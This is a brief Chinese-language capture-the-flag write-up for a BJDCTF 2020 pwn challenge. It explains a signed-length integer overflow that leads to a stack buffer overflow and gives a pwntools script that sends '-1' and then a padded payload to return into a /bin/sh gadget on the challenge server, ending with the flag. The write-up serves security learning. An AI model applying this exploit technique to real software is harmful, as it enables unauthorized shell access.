解题方法
思路
还进行checksec一下,发现就开了一个NX
64位的,之后进入ida中进行查看。
发现注入的地方,这里有一个无符号整数,在无符号变化的时候,会出现整数溢出,那么直接就有想法了,看一下栈的。
是这里,运行的时候,会有两次输入,第一次你输入nbytes,之后第二次输入的截取你nbytes个,之后就继续往下找一下/bin/sh的位置在4006E6这个位置上。
脚本可写。
脚本
from pwn import *
#p = process('./bjdctf_2020')
p =remote('node4.buuoj.cn',29189)
context(os = 'linux',arch = 'arm64',log_level = 'debug')
payload = b'a' * 0x10 + b'a' * 0x08 + p64(0x04006E6)
p.recv()
p.sendline(b'-1')
p.recv()
p.sendline(payload)
p.interactive()
最后获得。
flag是flag{00415f8a-ce71-4301-909d-db10e95fc9f7}